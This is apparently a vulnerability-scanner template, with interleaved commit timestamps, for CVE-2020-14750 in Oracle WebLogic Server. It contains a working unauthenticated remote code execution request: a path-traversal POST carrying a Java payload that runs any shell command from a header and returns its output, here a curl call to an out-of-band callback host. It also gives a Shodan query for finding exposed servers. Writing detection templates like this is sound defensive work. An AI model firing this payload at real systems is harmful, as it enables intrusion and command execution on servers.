2021-04-23 12:39:54 +00:00
id : CVE-2020-14750
2022-08-03 07:34:26 +00:00
2021-04-23 12:39:54 +00:00
info :
2022-08-04 14:43:23 +00:00
name : Oracle WebLogic Server - Remote Code Execution
2022-08-03 07:34:26 +00:00
author : princechaddha,DhiyaneshDk
severity : critical
2021-04-23 12:39:54 +00:00
description : |
This Security Alert addresses CVE-2020-14750, a remote code execution vulnerability in Oracle WebLogic Server.
This vulnerability is related to CVE-2020-14882, which was addressed in the October 2020 Critical Patch Update.
It is remotely exploitable without authentication, i.e., may be exploited over a network without the need for a username and password.
2022-08-03 07:34:26 +00:00
reference :
2022-08-04 14:43:23 +00:00
- https://github.com/pprietosanchez/CVE-2020-14750
2022-08-04 01:53:35 +00:00
- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
2022-08-03 07:34:26 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
- https://nvd.nist.gov/vuln/detail/CVE-2020-14750
2022-08-04 14:59:20 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2020-14750
2022-08-03 07:34:26 +00:00
metadata :
2022-08-04 14:43:23 +00:00
shodan-query : http.html:"Weblogic Application Server"
2022-08-04 14:59:20 +00:00
verified : "true"
tags : cve,cve2020,rce,oracle,weblogic,unauth,kev
2021-04-23 12:39:54 +00:00
requests :
2022-08-03 07:34:26 +00:00
- raw :
- |
2022-08-03 07:56:21 +00:00
@timeout : 10s
2022-08-03 07:34:26 +00:00
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host : {{Hostname}}
User-Agent : curl/7.79.1
Accept : */*
cmd : curl {{interactsh-url}}
Content-Type : application/x-www-form-urlencoded
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
2021-04-23 12:39:54 +00:00
matchers-condition : and
matchers :
- type : word
2022-08-03 07:34:26 +00:00
part : interactsh_protocol # Confirms DNS Interaction
2021-04-23 12:39:54 +00:00
words :
2022-08-03 07:34:26 +00:00
- "dns"
2022-08-04 14:43:23 +00:00
- type : word
part : header
words :
- "ADMINCONSOLESESSION="
- type : regex
part : body
regex :
- '<html><head></head><body>(.*)</body></html>'
